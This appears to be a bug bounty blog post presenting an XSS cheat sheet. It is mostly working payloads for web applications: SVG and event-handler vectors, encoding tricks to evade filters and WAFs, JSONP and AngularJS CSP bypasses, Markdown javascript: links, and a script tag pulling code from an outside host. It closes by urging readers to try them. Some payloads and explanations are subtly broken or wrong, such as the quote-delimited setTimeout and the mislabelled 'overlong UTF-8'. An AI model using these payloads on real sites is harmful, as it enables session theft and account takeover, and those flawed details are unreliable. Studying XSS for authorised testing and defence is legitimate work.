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June 30, 2026

“The XSS Cheat Sheet That Keeps Me Up at Night”

If you think you know XSS, you haven’t seen half of these vectors. Here’s the collection that made me question everything I thought I knew…

By Aman Sharma

5 min read

If you think you know XSS, you haven't seen half of these vectors. Here's the collection that made me question everything I thought I knew about cross-site scripting.

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Disclaimer:** This article is for educational purposes only. Use this knowledge responsibly and only on systems you have explicit permission to test.**

Last week, I found myself staring at a reflected XSS that wouldn't fire. My standard payloads just… sat there. The application was filtering alert, script, and even onerror. I was about to give up when I remembered a vector I'd seen once in a dusty corner of the internet:

<svg><set onbegin=alert(1)>

It worked. In 2025. On a production system.

That's the thing about XSS — it's not dead. It's just evolved. And the people who stay ahead? They have a secret weapon: knowledge of the obscure.

Let me walk you through the payloads that actually work, the bypasses that break modern filters, and the weird edge cases that most hunters completely miss.

The Basics That Still Work (But You're Doing Them Wrong)

Everyone knows <script>alert(1)</script>. But here's what most people don't realize: HTML injection is often easier than JavaScript injection.

Where Your Input Lands Matters More Than the Payload

Use this when input lands inside an attribute's value:
"><svg onload=alert(1)>

Use this when input lands inside a tag block (title, textarea, etc.):
</tag><svg onload=alert(1)>

Use this when you can't break out of the tag:
"onmouseover=alert(1)//
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The "I Can't Use Parentheses" Nightmare

One of the most common filters is blocking parentheses. You know, those little () that make JavaScript actually run? Yeah, those.

Here's how to break that illusion:

No parentheses? No problem.
alert`1`

Yes, you read that right. Backticks work. JavaScript's template literals don't need parentheses.

Need to run something more complex?

setTimeout'alert\x28document.domain\x29'
setInterval'alert\x28document.domain\x29'

Wait, what's \x28? That's hex for (. And \x29 is ). Even if the filter blocks parentheses, hex escapes might slip through.

The Mind-Blower: No Alphabetic Characters Allowed

What if the filter blocks letters?

[1[146\151\154\164\145\162][143\157\156\163\164\162\165\143\164\157\162]
('141\154\145\162\164\50\61\51')()

That's alert(1) written entirely in octal escapes. It looks like gibberish. It runs like a charm.

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The SVG Vectors That Nobody Talks About

SVG is a goldmine. Most filters don't block it because… well, it's just images, right? Wrong.

The Ones That Actually Work in 2025:

<!-- Firefox + Chromium -->
<svg><set onbegin=alert(1)>

<!-- Works in Chromium too (with attributename trick) -->
<svg><set attributename=x onbegin=alert(1)>

<!-- No event handler at all! -->
<svg><a><rect width=99% height=99% />
<animate attributeName=href to=javascript:alert(1)>

That last one? No onload, no onerror, no onbegin. Just an animation changing the href. The user clicks the rectangle and boom – XSS.

What If You're Filtered to Death?

<svg><use xlink:href=%2BPGVtYmVkIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiBzcmM9ImphdmFzY3JpcHQ6YWxlcnQoMSkiLz48L3N2Zz4%3D%23x>

That's a base64-encoded SVG that executes JavaScript. No event handlers visible. No script tags. Just "we're loading an image" and suddenly you're popped.

The "No Script Tag Allowed" Escape

Sometimes you can't inject <script>. But you can still load external code.

<script src=data:,alert(1)>

Wait, data: URLs? Yes. JavaScript can be loaded from a data URI.

<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>

That's an iframe with a srcdoc attribute. The payload is HTML-encoded. The browser decodes it. XSS ensues.

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The Location-Based Payloads That Break WAFs

This is where it gets really interesting.

<javascript/onmouseover=location=tagName+innerHTML+location.hash>/*hoverme!</javascript>#*/alert(1)

Wait, what's happening here?

The payload breaks the javascript: protocol into pieces:

  • tagName = javascript
  • innerHTML = */alert(1)
  • location.hash = the fragment

When the user hovers, location gets set to javascript:*/alert(1) and the browser executes it.

The Shortest One:

<j/onmouseover=location=innerHTML+URL>javascript:`-alert(1)</j>#`-alert(1)

Why this is genius: It uses the URL property to get the current page's URL, which includes the fragment. The fragment contains the payload.

Even Cleaner:

<svg id=<img src=/inner0r&#61alert(1&gt; onload=head.innerHTML=id>

This sets the innerHTML of the page head to img src=/inner0r=alert(1) – which executes the onerror event. No javascript: protocol. No external scripts. Just pure DOM manipulation.

The CSP Bypass That Uses Google (Yes, Google)

Content Security Policy prevents scripts from untrusted domains. But what if you can use Google?

<script src="//www.google.com/complete/search?client=chrome&jsonp=alert(1)">
</script>

Google's JSONP endpoint wraps the response in a callback. If you control the callback name, you control the execution.

<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js">
</script>
<x ng-app ng-csp>{{$new.constructor('alert(1)')()}}

AngularJS on Google's CDN. The ng-csp attribute bypasses CSP. Then it's just an Angular expression.

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The "You Can't Even Use HTML Tags" Escape

What if the filter strips all HTML tags? You're left with… what exactly?

{{$new.constructor('alert(1)')}}

AngularJS expressions. Even in a text node, if Angular is loaded, this executes.

<x ng-app>{{$new.constructor('alert(1)')}}

Even if no ng-app exists, you can create your own. Any element will do.

The Trick for No Brackets or Quotes:

{{$new.constructor\u0028'alert\u00281\u0029'\u0029\u0028\u0029}}

Unicode escapes. The filter looks for alert? It's still there, but it's Unicode. The filter looks for (? It's \u0028. The filter looks for quotes? They're \u0027.

The filter loses. Every time.

The Markdown Vector Nobody Warned You About

Comment sections often support Markdown. And Markdown supports links.

[click me](javascript:alert(1))

Yes. Just yes. Many Markdown parsers render this as HTML. Click the link. XSS.

The PHP Self URL Injection That Changed How I Test

When a PHP page echoes the current URL into a form action, you can inject in the path:

https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader

The URL is https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader. PHP sees xss.php as the script. Everything after the slash is PATH_INFO. The ?a=reader is the query string. The browser renders the HTML. XSS.

I've used this exact technique on a bug bounty. It worked. The developer had no idea.

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The "This Is Just Weird" Vectors

Some payloads make you question reality.

1<svg onload=alert(1)>

Why does this work? Type juggling. If the application does a loose comparison (==), 1<svg... equals 1. The condition passes. The svg element loads. XSS.

<a href=javascript:alert(1)>click me</a>

Wait, that's just a normal link. Yes. But sometimes the simplest vector is the one that works.

<math><brute href=javascript:alert(1)>click

<math> tag. Inside a math context. href on any element. Click. XSS.

What's wild about this? Most filters don't block <math> because they don't think of it as a vector.

The "No Closing Tag" Magic

<script src=data:,alert(1)>

When you can't close the tag, this works. The src attribute loads the data URI. The content is executed.

<script src=//brutelogic.com.br/1.js>

Same principle. External script. No closing tag needed.

The Unicode Injection That Bypasses Everything

URL encoding. Double encoding. Hex. Unicode. If the application does any decoding, you can bypass.

%253Csvg%2520o%256Eload%253Dalert%25281%2529%253E

That's %3Csvg%20onload%3Dalert%281%29%3E double-encoded. The server decodes once, then the browser decodes again. XSS.

%CA%BA>%EF%BC%9Csvg/onload%EF%BC%9Dalert%EF%BC%881>

Overlong UTF-8 encoding. The browser maps it to <, >, etc. XSS.

What I Learned Writing This

XSS isn't about memorizing payloads. It's about understanding context, filters, and execution flow.

The cheat sheet that inspired this article has over 200 vectors. I've probably used about 30 of them. But the ones I use most? The ones that break assumptions.

  • Assumption: "We strip <script> tags." → SVG vectors.
  • Assumption: "We block javascript: URLs." → Location-based payloads.
  • Assumption: "We have CSP." → JSONP endpoints.
  • Assumption: "We HTML-encode everything." → Unicode escapes in JavaScript contexts.
  • Assumption: "We validate the hostname." → Self URL injection.

Every assumption is a potential bypass.

The Vector That Never Fails Me

If I had to pick one payload to use for the rest of my career:

"><svg onload=alert(1)>

It works in:

  • HTML attributes
  • Tag blocks (with </tag> prepended)
  • Sometimes even JavaScript contexts (if the svg tag breaks out)

It's my Swiss Army knife.

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Your Turn

Go test these. Build your own cheat sheet. And when you find that one vector that bypasses a filter you thought was unbreakable, you'll understand why this is so addictive.

The internet is built on assumptions. We break assumptions.

If you enjoyed this, clap, comment, and share. And if you found a new vector, let me know — I'm always adding to my list.

— Your friendly neighborhood XSS gremlin 🐞